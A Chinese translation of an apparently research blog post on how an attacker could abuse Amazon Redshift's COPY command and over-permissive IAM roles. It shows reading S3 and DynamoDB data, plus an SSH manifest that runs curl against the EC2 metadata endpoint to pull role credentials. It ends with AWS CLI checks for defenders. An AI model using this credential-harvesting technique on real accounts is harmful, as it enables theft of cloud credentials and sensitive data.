Amazon Redshift是云端完全管理的PB级数据仓库服务,专门为在线分析处理(OLAP)和商业智能(BI)应用程序设计,这些应用程序需要对大型数据集进行复杂的查询。Redshift是一个强大的服务,与许多数据源集成,其中一些可能包括敏感信息。因此,了解服务之间的联系和潜在的攻击面很重要。
在这篇文章中,我们将研究攻击者可能使用Redshift COPY命令访问你的敏感数据的几种方式。
Redshift管理着数据仓库的创建、运行和扩展过程。它提供了与存储在S3或DynamoDB,以及使用Redshift Spectrum的Athena和Glue的数据互动的选项。该服务是基于PostgreSQL的,但一些命令的实现方式不同。
为什么Redshift需要角色?
如上所述,Redshift可以与许多AWS服务集成。为了做到这一点,它使用与集群相关的角色。最经典的例子是从S3桶中加载数据。Redshift使用 "COPY "命令。COPY命令利用亚马逊Redshift的大规模并行处理(MPP)架构,从数据文件中并行地读取和加载数据。这些文件可以位于亚马逊简单存储服务(Amazon S3)桶、亚马逊EMR集群或使用安全壳(SSH)连接访问的远程主机中。
Redshift允许集群内最多有50个IAM角色(在这里提到的几个AWS地区最多有10个)。这个选项允许使用任何一个角色来执行多个数据处理,但是如果一个错误的策略被附加到其中一个角色,可能会导致过度的数据访问。
在下面两个例子中,我们将研究攻击者如何访问存储在S3和DynamoDB的数据。我们将使用一个简单的.csv文件,包括客户记录(ID、姓名、城市、国家和职业)。我们在集群内关联了两个角色。
角色1:包含一个与S3相关的内联策略
角色2:包含一个与DynamoDB相关的内联策略
使用Redshift来读取S3内容
Redshift实现了从S3加载数据并使用SQL进行分析的能力。使用COPY命令加载数据的一般模板看起来像这样:
模板如下所示:
copy <table-name> from 's3://<your-bucket-name>/<folder>/<key_prefix>'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
options;
为了成功地使用COPY命令,COPY必须有对桶的LIST访问权限和对桶对象的GET访问权限。在这个例子中,我们使用 "Role1 "和以下策略:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": "*"
}
]
}
为了读取customer.csv的所有内容,我们输入以下命令:
copy customers from 's3://customers-bucket-1/load/customers.csv'
iam_role 'arn:aws:iam::123456789111:role/Role1'
DELIMITER ','
IGNOREHEADER 1;
我们可以看到,数据被成功加载到 "customers "表中。下一步是查询数据。使用一个简单的SQL命令--'SELECT * FROM customers;'我们就可以看到所有的数据:
使用Redshift来读取DynamoDB表
正如亚马逊的文档中提到的,Redshift也准许享有从DynamoDB加载数据的权限。
要做到这一点,攻击者首先需要了解DynamoDB中有哪些可用的表。攻击者还需要使用AWS CLI的以下命令列出所有可用的表。
aws dynamodb list-tables
为了演示如何从DynamoDB加载数据,我们将使用上面例子中的同一个数据集。该数据集的列值和它们的数据类型可以使用以下AWS CLI命令进行检查。
aws dynamodb scan --table-name customers
每个属性值以 name-value 键值对的形式描述。name 是数据类型,value 是数据本身。名称'S'代表字符串(其他可选的数据类型可以是'N'-数字,'B'-二进制,'SS'-字符串集,等等)。
现在我们对数据类型有了更好的理解,我们可以继续在Redshift中创建表。新表将被称为 "newcustomers"。
为了从DynamoDB读取数据,我们将使用这个模板:
copy <redshift_tablename> from 'dynamodb://<dynamodb_table_name>'
authorization readratio '<integer>';
授权的值是访问Amazon DynamoDB表所需的AWS凭证。用户必须有权限对正在加载的Amazon DynamoDB表进行扫描和描述。
附加到'Role2'的策略:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"dynamodb:DescribeTable",
"dynamodb:Scan"
],
"Resource": "*"
}
]
}
我们修改了模板为:
现在,数据已被加载到表中,攻击者可以简单地使用SQL进行查询:
SELECT * FROM newcustomers;
使用Redshift在EC2实例上运行命令:
"COPY "命令也可以用来从远程主机加载数据,比如EC2实例或其他计算机。COPY使用SSH连接到远程主机,并在远程主机上运行命令以生成文本输出。远程主机可以是亚马逊EC2的Linux实例,或者其他配置为接受SSH连接的Unix计算机。
要连接到远程主机并运行命令,攻击者需要制作一个包含主机和命令的端点详细信息的清单文件。
该清单文件的格式如下:
{
"entries":
[
{
"endpoint": "<ssh_endpoint_or_IP>",
"command": "<remote_command>",
"mandatory": true,
"publickey": "<public_key>",
"username": "<host_user_name>"
}
]
}
在下面的例子中,我们将尝试提取附属于我们EC2实例的角色的凭证。为此,我们精心制作了下面的清单文件,其中包括以下条目:
{
"entries":
[
{
"endpoint": "ec2-11-222-333-44.compute-1.amazonaws.com",
"command": "curl -fsS http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"mandatory": true,
"username": "ec2-user"
}
]
}
该命令可以是任何命令,从简单的echo命令到查询数据库或启动脚本。在这个例子中,由于我们试图提取凭证,我们使用命令查询EC2实例的元数据。
curl -fsS http://169.254.169.254/latest/meta-data/iam/security-credentials/
为了成功从实例中加载数据,我们首先需要在Redshift集群中创建一个表使用以下命令:
创建metadata表(数据文本);
要使用清单文件,必须将其上传至S3桶。在本例中,该文件被上传到一个名为 "dana-redshift-research "的桶中。
接下来,我们使用复制命令来加载清单,并使用以下命令创建SSH连接:
copy metadata
from 's3://dana-redshift-research/ssh_manifest' iam_role
'arn:aws:iam::123456789111:role/Role1'
TRUNCATECOLUMNS
ssh;
我们收到了一条确认信息,即数据已成功加载:
现在,我们可以通过查询该表来检查附属于EC2实例的角色。
很好! 现在我们有了角色,我们可以使用第一个清单文件中使用的curl命令,但在URL的末尾加上角色:
{
"entries":
[
{
"endpoint": " ec2-11-222-333-44.compute-1.amazonaws.com",
"command": "curl -fsS http://169.254.169.254/latest/meta-data/iam/security-credentials/dana-redshift-role",
"mandatory": true,
"username": "ec2-user"
}
]
}
在将文件上传到S3桶后,重复最后两个命令,即使用复制命令加载数据和查询表,我们最终可以得到access key, secret access key, 和 token。
有了这些凭证,攻击者可以使用AWS配置和访问资产来配置配置文件。
总结
Redshift是一项分析结构化和半结构化数据的伟大服务。
重要的是要了解该服务是如何工作的,以防止对敏感数据进行不必要的访问,因此,必须注意与集群相关的角色及其政策。
如何检查你的环境?
先决条件:
·AWS CLI
·JQ
检查哪些角色与你的Redshift集群有关联:
aws redshift describe-clusters | jq '.Clusters[] | .ClusterIdentifier, .IamRoles'
检查哪些EC2实例包含Amazon Redshift公钥:
aws ssm send-command --document-name "AWS-RunShellScript" --targets <value> --parameters '{"commands":["#/bin/bash","cd .ssh && cat authorized_keys"],"workingDirectory":["/home/<ssh_username>"],"executionTimeout":["3600"]}'
其中 --targets <value>是用逗号分隔的EC2实例列表,<ssh_username>是实例的用户名(通常是 "ec2-user")。
一旦该命令被执行:
aws ssm get-command-invocation --command-id <value> --instance-id <value> | jq '. as $p | .StandardOutputContent as $d | select($d | contains("Amazon-Redshift")) | if . then {"result": true, "match": .InstanceId} else {"result": false} end'
如果实例包含Redshift集群的公钥,那么输出将是:
{
"result": true,
"match": "<instanceId>"
}
如果实例不包含Redshift集群的公钥,就不会有输出。
本文为翻译文章,原文链接: https://blog.lightspin.io/aws-redshift-security-risk